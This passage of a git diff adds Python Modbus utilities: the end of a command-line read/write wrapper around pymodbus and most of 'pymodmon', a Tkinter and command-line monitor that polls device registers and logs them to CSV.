argparse.ArgumentParser(prog='ReadHTcp') + +parser.add_argument('method', choices=['tcp','udp','rtu','serial'], default='tcp') +parser.add_argument('-a','--address',type=int) +parser.add_argument('-c','--count',type=int,default=1) +parser.add_argument('-v','--values',type=lambda s: [item for item in list(map(lambda t: t.strip(),s.split(',')))]) + +parser.add_argument('-i','--ip',default='127.0.0.1') +parser.add_argument('-p','--port',default=502,type=int) +parser.add_argument('-u','--unit',type=int,default='0') +# Arguments for Serial Clients +# timeout is in seconds +parser.add_argument('-t', '-timeout',type=int,default=3) +parser.add_argument('--stopbits',choices=[0,1,2],default=1) +parser.add_argument('--bytesize',choices=[5,6,7,8],default=8) +parser.add_argument('--parity',choices=['N','E','O']) +parser.add_argument('--baudrate',type=int,default=9600) + +# Datastore Arguments +parser.add_argument('--zeromode',action='store_true') + +parser.add_argument('-r','--repeat',type=int,default=1) +parser.add_argument('-f','--function',choices=['rcs','wcs','wc','rds','rhs','whs','wh','ris','rwh','mwh','read-coils','write-coils','write_coil','read-discretes','read-holdings','write-holdings','write-holding','read-inputs','read-write-registers','mask-write-register']) + +parser.add_argument('-d','--debug',action='store_true') + +kargs, uargs = parser.parse_known_args() + +duargs = {} + +for s in uargs: + key,val = s.split('=') + duargs[key]=val + +if kargs.debug: + print('dict',kargs.__dict__) + print('debug', kargs.debug) + print('Known: ', kargs) + print('Unknown: ',uargs) + print('Unknown Dict: ',duargs) + quit() + +client = None + +try: + if kargs.method == 'tcp': + from pymodbus.client.sync import ModbusTcpClient + + client = ModbusTcpClient(kargs.ip,port=kargs.port,unit_id=kargs.unit) + + elif kargs.method == 'rtu': + from pymodbus.client.sync import ModbusSeriaClient + + client = ModbusRtuClient(kargs.method, port=kargs.port, stopbits=kargs.stopbits,bytesize=kargs.bytesize,parity=kargs.parity,baudrate=kargs.baudrate,timeout=kargs.timeout) + + if client != None: + display_prefix = '' + function_result = None + write_result = None + for x in range(kargs.repeat): + if kargs.function in ['rcs','read-coils']: + read = client.read_coils(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Coils' + + elif kargs.function in ['rds','read-discretes']: + read = client.read_discrete_inputs(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Discretes' + + elif kargs.function in ['ris','read-inputs']: + read = client.read_input_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.registers + display_prefix = 'Read Input Registers' + + elif kargs.function in ['rhs','read-holding']: + read = client.read_holding_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result = read.registers + display_prefix = 'Read Holding' + + elif kargs.function in ['wc','write-coil']: + result = client.write_coil(kargs.address,stringBool(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Coil' + + elif kargs.function in ['wcs','write-coils']: + coil_values = arrayStringBools(kargs.values) + result = client.write_coils(kargs.address,coil_values,unit=kargs.unit) + write_result = result + display_prefix = 'Write Coils' + + elif kargs.function in ['wh','write-holding']: + result = client.write_register(kargs.address,stringToInt(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Register' + + elif kargs.function in ['whs','write-holdings']: +# print('-------> Values: ' +str(arrayStringInts(kargs.values))) + result = client.write_registers(kargs.address,arrayStringInts(kargs.values),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Registers' + + else: + print('Function "%s" is not yet implemented in this wrapper. Exiting' % kargs.function) + quit() + +# Display results + if function_result != None: + print(display_prefix + ' #%s' % x,functools.reduce(lambda x,y: str(x)+ ',' + str(y),function_result[:kargs.count])) + + if write_result != None: + print(display_prefix + ' #%s' % x, write_result) + +finally: + if client != None: + client.close() + diff --git a/modbus/misc/pymodmon.py b/modbus/misc/pymodmon.py new file mode 100644 index 0000000..9a5e464 --- /dev/null +++ b/modbus/misc/pymodmon.py @@ -0,0 +1,976 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 2.7, pymodbus, docopt +# +# Date created: 2016-05-04 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print ('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print ('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print 'Could not read configuration file. Please check file path and/or file.' + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import ConfigParser + Config = ConfigParser.SafeConfigParser() + ## read the config file + Config.read(data.inifilename) + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + ## use ini file capabilities + import ConfigParser + Config = ConfigParser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = open(data.inifilename,'w') + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',data.ipaddress) + Config.set('CommSettings','port number',data.portno) + Config.set('CommSettings','Modbus ID',data.modbusid) + Config.set('CommSettings','manufacturer',data.manufacturer) + Config.set('CommSettings','logger interval',data.loginterval) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',data.logfilename) + Config.set('FileSettings','log buffer',data.logmaxbuffer) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',data.datasets) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print (data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4] + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + thisrow = [s.encode('utf-8') for s in thisrow] + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print ('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print thiserrormessage + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32) + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print 'Current datasets: ',(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print '' + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print 'PyModMon has exited cleanly.' + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = unicode(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = unicode(self.input_ipaddress.get()) + except: + showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def 